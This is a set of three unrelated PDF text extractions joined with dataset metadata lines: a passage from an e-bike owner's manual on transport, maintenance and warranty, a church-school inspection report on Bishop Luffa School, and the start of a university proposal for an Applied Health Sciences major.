maps that should be within easy reach. When buying bags, make sure they are watertight so that your belongings are protected, and you will not have any unpleasant surprises if it rains. Lowrider bags fitted at the front of the bike are mounted to the fork by means of special holders. Do not overload your FISHAW electric bike. Observe the maximum permissible load printed or imprinted on the rear rack. The maximum load of most of our rear racks is 25 kg. Adjust the suspension fork and the tyre pressure to suit the additional load. Baggage generally changes the riding characteristics of your FISHAW electric bike and increases your stopping distance! Therefore, practice riding a loaded bike in a place free of traffic. Taking Children with You The only possible and legal way of transporting children by bike is in special child seats or trailers. Only buy tested child seats, child trailers, and children’s bicycles towing devices (meet product safety standards) and ensure that they are properly installed. The manuals of the manufacturers included in the delivery of the child transport products provide detailed information in this regard. Child Seats Make sure the child you are taking with you always wears a suitable helmet. Keep in mind that you should always wear a helmet, as well. Cover the springs of your saddle to make sure that your child will not have their fingers pinched. It is legally permissible to install and use child carriers on pedelec electric bikes in all states of Australia. Please note that your stopping distance increases due to the additional load of the child seat. Not all FISHAW electric bikes are suitable for the installation of child seats with a special mounting device. Ask your FISHAW customer service representative for advice. Child Trailers You can transport one or two children with special child trailers that are towed behind your FISHAW electric bike. The children can play in the child trailer without any toys falling out. Some versions also allow you to fit a roof to protect against sun or rain. Trailers affect the braking behaviour of your FISHAW electric bike and occupy far more width than the bike would alone. First, practice pulling the trailer without passengers. Equip the trailer with a long pole with a coloured flag to increase visibility. It should be fitted with all the reflectors that are prescribed for riding on public roads, just like your bike. If you use it in the dark, illuminate the rear end of the trailer with a battery/accumulator-powered lamp. ⚠️ Towing devices affect the braking behaviour of your FISHAW electric bike. Before riding with a kids’ bike towing device on public roads, practice riding and braking without passengers in an area free of traffic! ⚠️ Towing devices have a strong influence on the riding characteristics of your FISHAW electric bike. The weight of both the hitched bike and the child will make the bike somewhat top-heavy. Practice getting on and off, and actual riding. Remember when taking corners that the FISHAW electric bike is much longer when it has a towing device! ⚠️ It is also important for you to practice with your child how to behave on a hitched bike during the ride. Make sure your child wears a helmet even when riding on a coupled or attached bike. Set a good example by wearing a helmet, as well! ⚠️ Only buy tested towing devices (meet product safety standards) and have them properly installed. The manuals of the manufacturers included in the delivery of the system provide detailed information in this regard. If you want to use your FISHAW electric bike to mount a towing device, please check whether it is designed for such a device. If in doubt, ask FISHAW customer service representative. Kids’ Bike Towing Devices/Trailer Systems There are different systems on the market that allow a kids’ bike to be attached to an adult bike to enable you to cycle together with your child on public roads. Educate yourself about the different types of kids’ bike towing devices. Some of the towing devices are attached to the seat post of the bike that it is towing. Suspension from one point of the seat post is somewhat unstable. Systems in which the kids’ bike is coupled to the adult’s bike are more suitable. TRANSPORTING THE FISHAW ELECTRIC BIKE BY CAR Nearly every car accessory dealer and car company offer carrier systems that allow the transport of a bike without disassembly. Rear carriers are becoming more and more popular. Their big advantage over roof carriers is that you do not have to lift up the bike so high to attach it. Electric Bikes are generally too heavy to use roof mounted bike racks. Make sure the clamps used do not cause any damage to the fork or frame. Risk of breakage! Whatever system you opt for, make sure it complies with the relevant Australian safety standards. Read the operating instructions of your bike carrier and comply with the maximum load capacity and recommended or prescribed driving speed. ⚠️ Make sure to remove all parts of your FISHAW electric bike (tools, pannier bags, child seats etc.) which may come loose during transport. Risk of an accident! ⚠️ Do not buy a carrier on which the FISHAW electric bike has to be mounted upside down, i.e., with the handlebars and saddle fixed face down to the carrier. This way of fastening the bike exposes handlebars, stem, saddle, and seat post to extreme stress during transport. Risk of damage! ⚠️ Check whether your FISHAW electric bike is properly fastened before and at regular intervals during the journey. A FISHAW electric bike that detaches from the carrier system may endanger other road users. ⚠️ Always secure the FISHAW electric bike or its components when putting it/them into the interior of your car. Parts shifting around can cause a car accident. Please make sure the lights and the number plate of your car are not hidden from view. For some carriers, a second exterior rear-view mirror is required by the road traffic regulations. ⚠️ If your bike has disc brakes, be sure to mount the safety locks before transporting your FISHAW electric bike with the wheels dismounted. Pull the brake lever and secure it with a strong elastic strap when transporting a FISHAW electric bike with hydraulic disc brakes. BY PUBLIC TRANSPORT In the cities the regulations for taking FISHAW electric bikes by public transport differ. There are e.g., some places where you are only allowed for travel with your FISHAW electric bike during off-peak hours. Inform yourself about the regulations of carrying the bike before you start the trip. Remove, if necessary, any heavy or bulky pannier bags and baggage for easier boarding and disembarking of the train. ⚠️ Before you start your trip inform yourself in time about the conditions of carriage and observe the regulations and rules about bike transport in your state. Australian Public Transport Regulations: https://www.bicyclenetwork.com.au/newsroom/2017/11/20/bikes-public-transport/# What to Bear in Mind When Transporting Your FISHAW Electric Bike: By Car FISHAW electric bikes can be transported like conventional bikes outside or inside the car. Always make sure the FISHAW electric bike is securely fastened outside or inside the car and check the fastenings regularly. In addition, you should always remove the battery from your FISHAW electric bike, prior to fastening it outside the car. Stow the battery, inside the car and secure it appropriately to avoid any damage in transit. ⚠️ Protect the connections of the rechargeable battery against rain, wetness, moisture, and dirt during the journey, for example, with a plastic bag. ⚠️ The weight distribution on an electric bike differs markedly from the weight distribution on bikes without drive assistance. An electric bike is markedly heavier than a bike without drive assistance. For this reason, parking, pushing, lifting, and carrying the FISHAW electric bike is more difficult. Bear this in mind when loading your electric bike into a car and unloading it or when mounting it on a bicycle carrier system. ⚠️ Before transporting several electric bikes on a rear mounting carrier system, inform yourself about the maximum load capacity of the bike carrier and the maximum load of the trailer hitch. Keep in mind that the weight of an electric bike is higher than the weight of a bike without a drive. It could be that you can only transport one or two electric bikes instead of three bikes without drive systems. ⚠️ Make sure to remove all movable and loose parts and above all the rechargeable battery, before transporting the electric bike inside or outside the car. If you transport your FISHAW electric bike without its battery on a bike carrier system, protect the connections against water, moisture, and dirt, for example, with a plastic bag. NOTES ON CARE AND SERVICING MAINTENANCE AND SERVICING Your FISHAW electric bike has been assembled and adjusted ready for use when you receive it. Nevertheless, your FISHAW electric bike needs regular servicing. Have your local bicycle mechanic do the scheduled maintenance work. This is the only way to ensure that all components function safely and reliably for many kilometres. ⚠️ The bike will be due for its first service after 100 to 300 kilometres, 5 to 15 hours of initial use or four to six weeks. The bedding-in phase typically involves spokes slightly losing tension or gears coming out of adjustment, so there is every reason to have your qualified bicycle mechanic service the FISHAW electric bike at this stage. ⚠️ This bedding-in process is unavoidable. Therefore, remember to make an appointment with your bicycle mechanic to have your new FISHAW electric bike inspected. This first service is very important for both the functioning and durability of your FISHAW electric bike. It is advisable to have your FISHAW electric bike serviced regularly by your qualified bicycle mechanic after the bedding-in phase. If you ride a great deal on poor road surfaces or cross-country, it will require correspondingly shorter service periods. The intended use of the FISHAW electric bike includes regular servicing and the replacement of wearing parts in time, e.g., chains, brake pads or Bowden and brake cables and therefore has an influence on the warranty and the guarantee, as well. ⚠️ Avoid cleaning your bike with a high-pressure cleaner. The high-pressure jet will cause water to enter bearings by passing through the seals and dilute the lubricants thereby increasing the friction. This destroys and impairs the functioning of the bearing races in the long term. High-pressure jets are also likely to remove frame stickers. The electronics will be damaged by high-pressure water jets. Use of any high-pressure water jets used on your FiSHAW electric bike will void your warranty! ⚠️ Servicing and repairs are jobs best left to a qualified bicycle mechanic. If you have your bike serviced by anyone other than an expert, you run the risk that parts of your FiSHAW electric bike will fail. Risk of an accident! When working on your FISHAW electric bike restrict yourself to jobs for which you have the suitable tools, e.g., a torque wrench, and the necessary knowledge. ⚠️ If a component needs to be replaced, make it a rule to only use original spare parts. Using parts of other manufacturers, e.g., brake pads or tyres that are not of identical dimension, may render your FISHAW electric bike unsafe. Risk of an accident! CLEANING AND CARING FOR YOUR FISHAW ELECTRIC BICYCLE ⚠️ Dried sweat, dirt and salt can harm your FISHAW electric bike. You should therefore make it a habit of cleaning all components at regular intervals. ⚠️ A much gentler way of cleaning your bike is with a low-pressure water jet or a bucket of water and a sponge or a large brush. Cleaning your bike by hand has another positive side-effect: you may discover defects in the paint as well as worn or defective components at an early stage. Check the chain for wear and relubricate after cleaning and drying (see the chapter “Chain-Care and Maintenance”) Wipe dry the sliding surfaces of the suspension fork and apply special spray. Apply a coat of standard hard wax on painted, metal and carbon surfaces (except on brake surfaces and brake discs). Polish the waxed surfaces after drying to give them a nice shine. ⚠️ Keep cleaning agents and chain oil clear of the brake pads, brake discs and rim sides. Otherwise, the brakes could fail. Risk of an accident! While cleaning, watch out for cracks, scratches, dents as well as deformed or discoloured material. Have defective components replaced immediately. If you are in doubt or if you have any questions, contact your qualified bicycle mechanic. Only use petroleum-based solvents for cleaning tough oil or grease stains from paint surfaces. Never use degreasing agents containing acetone, methyl chloride or the like, or solvent-containing, non-neutral or chemical cleaning agents that could attack the surface! Do not clean your FISHAW electric bike with a high-pressure cleaner or a water jet. Keep in mind that the drive system of your FISHAW electric bike may lead to partly higher wear than you are used to. This applies in particular to the brakes and the tyres and in the case of bottom bracket drives to the chain and the sprockets. A rechargeable battery that has reached the end of its service life may not be disposed of in the normal household rubbish. Bring or send the rechargeable battery to a Battery Recycling Centre. If in doubt, contact, FiSHAW. Safekeeping and Storing your FISHAW Electric Bike If you regularly look after your FISHAW electric bike during the times you are riding it, you will not need to take any special measures when storing it for a short time, apart from securing it against theft. Store your bike in a dry, well aired place. If you want to store your FISHAW electric bike for a longer period of time, please observe the following things: Inflated inner tubes tend to gradually lose air when the bike is not used for a long time. If your FISHAW electric bike is left standing on flat tyres for an extended period, this can cause damage to the structure of the tyres. It is therefore better to hang the wheels or the entire FISHAW electric bike or to check the tyre pressure regularly. Clean your FISHAW electric bike and protect it against corrosion. Remove the seat post and let moisture that may have entered dry. Spray a little finely atomized oil into the metal seat tube. Shift the gear to the smallest chainwheel and the smallest sprocket. This relaxes the cables and the springs. For more information on the safekeeping and storing of your FISHAW electric bike see the chapter “The Proper Care of Your Rechargeable Battery”. Drive Maintenance and Care The motor, the rechargeable battery and the drive display are mainly maintenance free, except for the battery charging which is necessary regularly. From time to time the dirt and oil needs to be cleaned off your chain with an oily rag. Special degreasers are not necessary; they even have a damaging effect. Having cleaned the chain as thoroughly as possible, apply chain oil, wax, or grease to the chain links. To lubricate the chain, drip the lubricant onto the rollers of the lower run of the chain while you turn the crank. Once this is done, turn the cranks a few more times; then let the FISHAW electric bike rest for a few minutes so that the lubricant can disperse. Finally wipe off excess lubricant with a rag so that it does not spatter around during riding or can collect road dirt. A rechargeable battery that has reached the end of its service life may not be disposed of in the normal household rubbish. Bring the rechargeable battery to a battery recycling centre. If in doubt, contact FiSHAW. The drive/motor is not approved for steam cleaning, high-pressure cleaning or cleaning with a water hose. The contact of water with the electronics or the drive can destroy the units. The individual drive components can be cleaned with a soft rag and neutral detergents. You may use a moist rag, but not excessive water. Do not submerge the rechargeable battery! Service and Maintenance It is advisable to have your FiSHAW electric bike serviced regularly after the bedding-in phase. The schedule given in the table below is a rough guide for cyclists who ride their bike between 1,000 and 2,000 km or 50 to 100 hours of use a year. If you consistently ride more or if you ride a great deal on poor road surfaces, the service intervals will shorten accordingly. For your own safety, bring your FiSHAW electric bike to your FiSHAW bicycle mechanic for its first inspection after 100 to 300 kilometres, 5 to 15 hours of initial use or four to six weeks, and at the very latest after three months. All bolted connections of the FiSHAW electric bike components must be tightened carefully and checked regularly to ensure the safe and reliable operation of your FiSHAW electric bike. This is best done with a torque wrench that disengages at the desired torque value or a click-type torque wrench. Tighten carefully by approaching the prescribed maximum torque value in small steps (0.5 Nm increments) and check in between the proper fit of the component. Never exceed the maximum torque value indicated by the manufacturer! Where no maximum torque setting is given start with 2 Nm. Observe the indicated values and observe the values on the components and/or in the operating instructions of the component manufacturers on their respective websites: www.shimano.com www.tektro.com | COMPONENT | WHAT TO DO | BEFORE EVERY RIDE | MONTHLY | ANNUALLY | OTHERS | |----------------------------|---------------------------------------------------------------------------|-------------------|---------|----------|--------------------------------------------| | Lighting | Check function | X | | | | | Tyres | Check pressure | X | | | | | | Check tread and side walls | | | X | | | Brakes (disc) | Lever travel, brake pads, seals, test brakes in s | | | X | | | | Replace liquid (DOT-liquids) | | | | * | | Brake cables/pads/lines | Visual inspection | | | X | | | Suspension forks | Check & retighten bolts if necessary,lubricate | | | X | | | | All-joint maintenance (change oil) | | | | * | | Crank | Check & retighten if necessary | | | X | | | | Dismount & regrease (cups) | | | | * | | Chain | Check & grease, if necessary | | | X | | | | Check wear, replace, if necessary derailleur gears | | | | *After 1000 km or 50 hours of use | | Painted Surfaces | Thoroughly Clean & Polish | | | X | | | Wheels/Spokes | Check for trueness and tension | | | X | | | | True or Retighten | | | | *if necessary | | Handlebars and Stem | Check and replace, if necessary | | | | *at least every 2 years | | Headset | Check for bearing play | | | X | | | | Regrease | | | | * | | Bottom bracket | Check for bearing play | | | X | | | | Regrease bearings | | | | * | | Metal surfaces | Polish(except: brake discs) | | | | X at least every 6 months | | Pedals | Check for bearing play | | | X | | | | Regrease pedal threads | | | X | | | Seat post/stem | Check bolts | | | X | | | | Lubricate handle bar stem & seat post | | | | * | | Rear derailleur | Clean and grease | | | X | | | Quick-releases/thru axles | Check Seat & Wheel are firmly closed | | | X | | | Bolts and nuts | Check and tighten,if necessary | | | X | | | Cables(gears & brakes) | Disassemble and regrease | | | | * | | | Check for cable wear | | | X | | | Battery | Check for signs of damage | | | X | | | Hubs | Check for bearing play | | | X | | | | Regrease | | | | * | | Mudguard/Rack/Kickstand | Adjust attachment & alignment if necessary | | | X | | Due to the unmanageable number of components on the market, FiSHAW is not in a position to foresee every product that will be replaced or newly assembled by third parties. Therefore, FiSHAW denies any liability for such kind of additions or modifications with regard to compatibility, torque values etc. Whoever assembles or modifies the FiSHAW e-bike shall ensure that the bike was assembled according to FiSHAW’s Assembly instructions for your model or was assembled by a qualified bicycle mechanic. Some components have the maximum permissible torque values printed on them. Use a torque wrench and never exceed the maximum torque value! If you are in doubt or if you have any questions, contact FiSHAW. Warranty and Guarantee Your FISHAW electric bike was manufactured with great care. As a direct purchaser, you have full warranty rights within the first two years after purchase. Please contact your FISHAW customer service representative in the event of defects. To ensure a smooth handling of your claim, it is necessary to present your receipt, your warranty registration document which contains your warranty registration number and proof of services. Therefore, be sure to keep these documents in a safe place. To ensure a long service life and good durability of your FISHAW e-bike, use it only for its intended purpose (see the chapters “Before your first ride” and “Intended Use”). Please observe the permissible load specifications as specified. Be sure to follow the assembly instructions, as well as the maintenance prescribed by the component manufacturers. Observe the checks and routines listed in your comprehensive FISHAW User Manual, the system instructions of your drive manufacturer, and the instructions of the component manufacturers on their respective websites and attend to the replacement of safety-relevant components, such as handlebars, brakes, etc., if necessary. ⚠️ Keep in mind that retrofitted accessories can impair the functioning of your FISHAW E-Bike. If you are in doubt or if you have any questions, contact your FISHAW customer service representative. A Note on Wear Some components of your FISHAW electric bike are subject to wear due to their function. The rate of wear will depend on care and maintenance and the way you use your FISHAW electric bike (mileage, riding in the rain, dirt, salt, etc.). FISHAW electric bikes that are often left standing in the open may also be subject to increased wear through weathering. The components below require regular care and maintenance. Nevertheless, sooner or later they will reach the end of their service life, depending on conditions and intensity of use. Parts that have reached their limit of wear must be replaced: - rechargeable battery - incandescent bulbs/LED - drive chain - rubber grids - brake pads - chainwheels - brake fluid (DOT) - chainstay protection - brake discs/rotors - lamps - brake cables - tyres - brake cable housings - sprockets - seals of suspension elements - saddle covering - pulleys - lubricants Warranty on FISHAW E-Bikes Your FISHAW electric bike is guaranteed (as of date of purchase to the initial buyer): - 2 years for aluminium alloy frames. - 2 years for the motor. - 1 year warranty on the rechargeable battery and battery charger. - 1 year warranty on paint and stickers In a warranty-activating event FISHAW reserves the right to provide a bike of the current successor model in an available colour, or if no such bike is available, a higher-grade model. Your direct contact in any case should be your FISHAW customer service representative, who will be pleased to answer all of your enquiries. The manufacturer’s warranty only applies to claims made by the initial buyer and substantiated by presenting the customer's receipt, the warranty registration document stating the date of purchase and model. Warranty claims will only be accepted, if the bike has been used for none other than its intended use, had an inspection during its first 300 km or the first six months after purchase, has been fitted with none other than original spare parts or accessories and had its suspension systems serviced by a qualified bicycle mechanic at least once a year. The warranty does not cover labour and transport costs, nor does it cover follow-up costs resulting from defects. The warranty does not apply to bikes that have been used in competition, for jumping or that have been subjected to any other kind of overstress. The warranty does not apply to e-bikes that have been used for jumping or subjected to any other kind of overstress. It does not cover damage resulting from wear, neglect (insufficient care and maintenance), falls/accidents, overstress caused by overloading, incorrect assembly or improper treatment or resulting from changes to the electric bike in connection with the installation or alteration of additional components. Diligent compliance with the manufacturers’ assembly instructions and maintenance intervals as prescribed in this manual are crucial to a long service life and good durability of the electric bicycle components. Non-observance of the assembly instructions or maintenance intervals renders the guarantee null and void. Please observe the checks described in this manual as well as all instructions concerning the regular replacement of safety-relevant components, such as the handlebars etc. These warranty conditions are voluntary benefits of FiSHAW. Moreover, the buyer may benefit from additional legal rights which vary from country to country. To find out more just ask your FISHAW customer service representative. Our goods come with guarantees that cannot be excluded under the Australian Consumer Law. You are entitled to a replacement or refund for a major failure and for compensation for any other reasonably foreseeable loss or damage. You are also entitled to have the goods repaired or replaced, if the goods fail to be of acceptable quality and the failure does not amount to a major failure. The benefits to the consumer given by this warranty are in addition to other rights and remedies of the Australian Consumer Law in relation to the goods and services to which this warranty relates. In case of any inquiries, please contact your FiSHAW customer service representative; visit www.fishaw.com to find contact details. These provisions of the guarantee are applicable as of model year 2017. FiSHAW Technology Pty Ltd OWNERS NOTES © FISHAW Technology Pty Ltd 2021
feca6645-1377-4216-80e9-47f717190afb
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
161,201
Statutory Inspection of Anglican and Methodist Schools (SIAMS) Report School context Bishop Luffa School is a secondary school with 1482 students on roll. The majority of students are of White British heritage. Very few students speak English as an additional language. The proportion of students who are considered to be disadvantaged is below national averages. The proportion of students who have special educational needs and/or disabilities is below national averages. Bishop Luffa is strongly connected to the wider Christian community in the surrounding area, including relationships with Saint Wilfrid's church, the Anglican parish in which it is found, and Chichester Cathedral. The school's Christian vision We believe in living a full life based on love and respect which is why we commit to give "Always our best because everyone matters". Jesus said "I have come in order that you might have life – life in all its fullness." We are here to show every child what 'life in all its fullness' means. Key findings * A clear understanding of spirituality enables staff and students to benefit from collective worship in ways that move them to action, such as collecting for a local food bank after reflecting on 'give us our daily bread' from the Lord's Prayer. * The teaching and learning in religious education (RE) is at least good, with many lessons better than this, leading to students being inspired and making excellent progress. Students of all abilities are flourishing. * Students, including the most vulnerable, talk of the school as being a hospitable community which leads them to feel safe and comfortable as the person God made them. * The school makes bold ethical arguments for being a community of hope, enabling it to be inclusive, and to offer opportunities to those who are disadvantaged, resulting in more successful outcomes. * Staff speak of the tangible ways they have been treated with dignity, respect and practical compassionate care as a result of the school's ethos. Areas for development * To further develop global partnerships and reflect these through the Christian vision in the curriculum. * To review, refresh and develop the school's Christian vision so that it can be consistently articulated by all. * To share best practice in student planning, delivery and evaluation, particularly in tutor group worship, so that all students have a daily experience of inspiring collective worship. © The National Society (Church of England and Church in Wales) for the Promotion of Education 2018 // Updated September 2018 How effective is the school's distinctive Christian vision, established and promoted by leadership at all levels, in enabling pupils and adults to flourish? Inspection findings Bishop Luffa School draws on its Christian heritage to give young people and their families an aspirational sense of belonging to an inspirational Christian community. Its Christian vision seeks to combine elements that have accrued over time and these have embedded a strong and tangible Christian ethos that has great impact for good on staff and students alike. Teaching and support staff are able to share many examples of how they have experienced dignity and respect in practical ways, which leads them to live out the Christian vision daily in their work in the school. Although staff and students articulate different elements of the Christian vision, the ethos produced creates a real sense of belonging and pride in the school from all. The leaders relate well to the diocese, the local authority and the wider community, with the work on restorative justice and RE shared as examples of excellent practice within and beyond the school. Directors are very aware of the school's self-evaluation leading to active support for the head and his leadership team in bringing about further improvements. Governance is active, with directors fulfilling the 'critical friend' role effectively. This sits fully within the Christian vision of the school. This results in decisions that are in harmony with that vision and which enhance the Christian community built on the biblical message of 'life in all its fullness.' The commitment of the school towards students who have experienced severe disadvantage in their educational journey is bearing fruit. Many of these students achieve outcomes that are well above that which might be expected given their starting points. This is achieved by the relentless persistence of the pastoral deputy head, special educational needs co-ordinator (SENCo) and their team of staff who refuse to give up on these students. With the support of the head and directors, they seek out opportunities which allow all students to achieve. This approach is bringing about high levels of re-engagement and the restoration of broken relationships, alongside encouraging exemplary conduct. All students are supported very effectively by a fabulous well-being approach. This provides well-being education for all, with gradually increasing personalisation for those who require more specific support. As a result, students are effectively strengthened in their mental health. The directors are clear that the school's curriculum should allow students to explore their own interests within a broad and balanced provision which stimulates learning and excitement around educational endeavour. The focus on the Christian vision in shaping decision making is evident at all levels of leadership. That vision leads the head teacher and directors to model courageous advocacy by choosing a curriculum that they believe serves the students, despite it running counter to current trends. The school's performance at GCSE and A level confirms the effectiveness of this decision. The status of RE as a core subject alongside English, mathematics and science ensures that students are able to have a holistic view of the world, recognising the part that spirituality plays alongside the emotional, intellectual and physical dimensions of life. Students value their RE highly because it allows them to explore the big questions of life within a safe yet challenging environment, stimulating a commitment to learning. RE exceeds statutory requirements and delivers the Church of England entitlement, ensuring a high level of religious literacy for all students. Due to the excellent leadership of the department, students find RE inspiring and challenging. The study of a carefully selected range of world faiths enhances the performance of students whilst broadening their cultural literacy. The exploration of Christianity empowers students to make rapid progress. Teachers are enthusiastic, very well qualified and skilled at engaging students in the subject. Students across all year groups fully and enthusiastically engage in charitable activities, for example with Grassroots' work in Tanzania, that extend beyond just compassion to courageous advocacy that brings about real change. Teams of post 16 students go out to work in Mbeya, Tanzania to work and learn each year, an activity that transforms their view of the world and inspires the school to respond to God's challenge to love their neighbour as themselves. Students are able to talk about the ethics of international aid, demonstrating the influence that the school's Christian vision has on their motivation to make the world a better place. Students study French, German, Spanish and Latin in a way that introduces them to the wider world. This creates a superb global outlook amongst students. Global partnerships informed by the school's Christian vision, have some impact across the school, however this is not evident in all subjects. Collective worship frequently supports the understanding of 'life in all its fullness' and adults and students share how it influences their lives for the good. Whilst statutory requirements are met, tutor group worship varies in quality. Students take part in leading thought-provoking collective worship, occasionally requesting the opportunity to prepare sessions on topics close to their hearts. They contribute to collective worship as participants and most value it which ensures that they develop spiritually. A range of adults, including staff, parents and directors, similarly engage positively with collective worship. It is evident that they grow spiritually as a result. Staff and students engage with the Eucharist in creative ways, most recently at post 16 services through the use of a café approach to enhance the worship experience. This allows the exploration of complex spiritual issues that are very inspiring. Clergy from © The National Society (Church of England and Church in Wales) for the Promotion of Education 2018 // Updated September 2018 local churches, reflecting the range of denominations linked to the school, support the delivery of collective worship enabling students and staff to experience the range of Christian traditions. Church leaders act as voluntary chaplains to assigned year groups providing a very effective 'wrap around' care. Students sometimes play a part in the delivery of collective worship which adds to its impact. For example, a whole school collective worship led by the head, and supported by a student worship band elicited a spontaneous round of enthusiastic applause. Students are encouraged to place prayer at the centre of their daily lives. The impact of this is seen in a number of ways such as the praying of the Lord's Prayer by the rugby team after rugby games. The spiritual development of students and adults is explicitly outlined by a spirituality policy. This highlights relationships with God, with society, with others, and with ourselves, addressing a development point from the previous inspection, and enabling everyone to discern their spiritual growth. Parents are extremely impressed with the ethos and pastoral care their children receive. Through its Christian vision to be compassionate, reflective, inclusive, supportive and transformative, the leadership creates a hospitable community in which all feel included, valued and supported. The development of a lesbian gay bisexual transgender and queer plus (LGBTQ+) student group and a young carers group as part of a wide range of extra-curricular activities is highly valued. As one parent stated, they had high expectations of the school, yet their experience had been "greater than expected. It has surpassed the hopes we had". The effectiveness of RE is Excellent The teaching and learning in RE is always at least good and is consistently better than this on the vast majority of occasions. As a result, RE performs in line with other subjects across the school, contributing to positive progress scores. Current performance data shows that RE is enabling students to achieve greater progress than might be expected given their starting points. Inspirational delivery of examination courses results in all students flourishing in RE, including those who are vulnerable, those with learning difficulties as well as those who are most able. Post 16 examination courses create a high level of engagement that leads to excellent progress being made. Headteacher Austen Hindman Inspector's name and number Rev'd Craig Watson 78 © The National Society (Church of England and Church in Wales) for the Promotion of Education 2018 // Updated September 2018
<urn:uuid:f6a50ea9-10ac-46b8-9f6a-6a4b3bee3ffe>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
11,372
PROPOSAL FOR A NEW MAJOR IN APPLIED HEALTH SCIENCES Submitted by: Program in Health Sciences School of Health Sciences September 15, 2006 Revised: October 25, 2006 Approved by COI: # TABLE OF CONTENTS Proposal for New Applied Health Science Major in Health Sciences | Section | Page | |------------------------------------------------------------------------|------| | Title Page | | | Table of Contents | | | Abstract | 4 | | 1. Rationale for Program | 4 | | 2. Program Plan | 5 | | a. Degree requirements | 5 | | b. Grade point policy | 14 | | c. Code of ethics | 14 | | d. Admission criteria | 14 | | e. Internal supporting procedures | 14 | | f. Library | 14 | | g. Implementation based in Career Paths | 15 | | h. Other unit contributions | 17 | | i. Recruiting plans | 17 | | j. Planned enrollment levels | 18 | | k. Planned enrollment expectations | 19 | | l. Letters of support from external sources | 19 | | m. Major Assessment | 20 | | n. Sources of data for major assessment | 20 | | o. Sources of data for faculty assessment | 20 | | 3. Needs and costs of the major | 20 | | a. Required additional resources | 20 | | b. Faculty positions | 21 | | c. Staff positions | 21 | | d. Library holdings | 21 | | e. Teaching assistants | 21 | | f. Space | 21 | | g. Equipment | 21 | | h. Direct support from outside agencies | 21 | | i. Required support of other units | 21 | | j. Increased support the program will give the University | 22 | | k. Tuition | 22 | | l. Public service | 22 | 4. Undergraduate Health Sciences Flow Chart ........................................... 23 5. Major Assessment Plan ................................................................. 24 6. References .................................................................................. 27 7. Appendices .................................................................................. 32 a. Macomb Community College Health and Human Services Courses ....................... 32 b. Occupational growth nationally and in Michigan ............................................. 61 c. Occupational Description and wages ............................................................ 63 d. Harris Poll Results .................................................................................. 70 e. Growth Occupations and Wages .............................................................. 74 f. Shawn Lombardo, Library Report ............................................................ 76 g. Student letters of Support; Copy of Student Surveys; Letters Support from external reviewers .......................................................... 78 h. Employer letters .................................................................................... 87 i. Proformas ............................................................................................. 98 Abstract: In June 2004 Governor Jennifer Granholm signed Executive Order No. 2004-32 and announced the formation of the Lieutenant Governor’s Commission on Higher Education and Economic Growth, chaired by Lt. Governor John D. Cherry Jr. The executive order charged the commission with identifying strategies to double the number of Michigan residents with degrees and other postsecondary credentials of value within ten years. One of the areas of focus of the Cherry Commission was increasing degree completion by focusing on barriers preventing students from completing degrees, better accommodating students’ varying attainment, easing student transfers, and expanding articulation agreements on credits among higher education institutions. As a result of their findings, the commission recommended steps to retain educational residents in Michigan. For the above reason a articulation agreement was formed between Macomb Community College and Oakland University. The School of Health Sciences was asked to participate in a partnership with Macomb’s Health and Human Services Department. The intention of this partnership was to maximize the use of community college credits in a transition to Oakland University for a new major within the School of Health Sciences to be called Applied Health Sciences. Rationale for Program: The Oakland University mandate for 2010 encourages and supports community outreach and partnerships. Oakland University will be recognized regionally for quality and responsive community outreach, and Oakland University will be recognized regionally for building collaborative relationships with business, industry, education and government to meet the demands of a highly educated workforce and high-performance workplace. It is with this direction that the School of Health Sciences would like to bring forward a new proposal to implement a new major in the School of Health Sciences to be called Applied Health Sciences. The differences between the Applied Health Sciences major and the current major in Health Sciences are three fold; one, there is a core with different courses being offered; two, the Applied Health Sciences major will not be preparing the student for graduate studies as is the current major; and three, nearly all credits from the Associate degree will be utilized leading to a vocation after receiving their Bachelor of Science Degree in Health Sciences with a major in Applied Health Sciences. As of now the School of Health Sciences and its existing programs do not accept credits from Macomb Community College programs in Respiratory Therapy, Health Information Technology, Surgical Technology, Physical Therapy Assistant studies, Medical Assisting, and Occupational Therapy Assistant studies. Therefore the only option for these students to receive a bachelor degree from Oakland that will utilize these credits is a Bachelor of General Studies. Currently, Macomb County Community College has approximately 450 students in their Respiratory Therapy, Health Information Technology, Surgical Technology, Physical Therapy Assistant studies, Medical Assisting, and Occupational Therapy Assistant studies programs who are all potential transfers to the School of Health Sciences Applied Health Sciences major. It is anticipated that about 5-10 students will initially transfer to Oakland University. It is probable that once the various health professions establish new criteria in the existing vocations that all graduates will be required to obtain an undergraduate degree. Therefore, more students are likely to transfer to the Applied Health Sciences major and present professionals in the field will be entering our program. We recognize in School of Health Sciences and Macomb Community College that the proposal in its current form is constrained to some extent by what is currently available. There is no doubt that as the various professional societies regulating licensing and certification upgrade associated degree requirements to baccalaureate degrees, there will be guidance and direction as to which courses best help those professionals. For first surgical assistants, a course in nutrition might be less valuable than a course in stress management for example. Our intent is to offer a generalized major now, while the window of opportunity is present for our Macomb students, and continue to revise and improve the major with specific specializations, much as Frances has been suggesting. Eventually, as interest in this major grows, it is conceivable that numerous minors or concentrations appropriate to the varying disciplines will also be developed, each with specific courses and all with a core based on current offerings. We’ve seen this approach work beautifully already over the years both in Nursing and in our own Wellness, Health Promotion and Injury Prevention undergraduate program. In summary, it is our hope that with the specific responses already offered to SRPC and the passion of its Chair for excellence along with the Schools zeal for greatness, we can move this proposal forward with endorsement and expectations of excellence. PROGRAM PLAN Degree requirements Proposed requirements for the new major in Applied Health Sciences: Students seeking the major in Applied Health Sciences in the School of Health Sciences must complete 131 or 132 credits depending on the concentration and includes the following requirements. Students in this major would take a core set of courses and general education requirements at OU (66 credits) as well as courses in one of six concentration areas: Respiratory Therapy, Medical Assistant Studies, Surgical Technology, Health Information Technology, Occupational Therapy Assistant Studies, or Physical Therapy Assistant Studies. All of the specialization courses would be taken at MCC. Students would be able to transfer 65-66 credits from MCC depending on the concentration. This articulation agreement would allow students to utilize all or nearly all of the courses taken for the associate degree at MCC. Our hope is that students who have completed an associate degree in one of these areas or are currently working on one would come to OU to complete a bachelor’s degree. We also anticipate that freshman will be able to take advantage of this program by dually enrolling at OU and MCC. Students who complete an associate’s degree in one of the specializations under the MACRAO agreement would be exempt from many of the general education requirements. Although we have very few students going through the MACRAO agreement those students with MACRAO agreement would need to substitute those general education courses with approved electives. If they do not, they will be short credits for graduation and short on 300-400 level credits. Many of the chosen General Education courses in SHS admirably address the skill sets required for the professions in this new degree. In the new degree, there are several electives which students can select one from. These courses do offer information and understanding 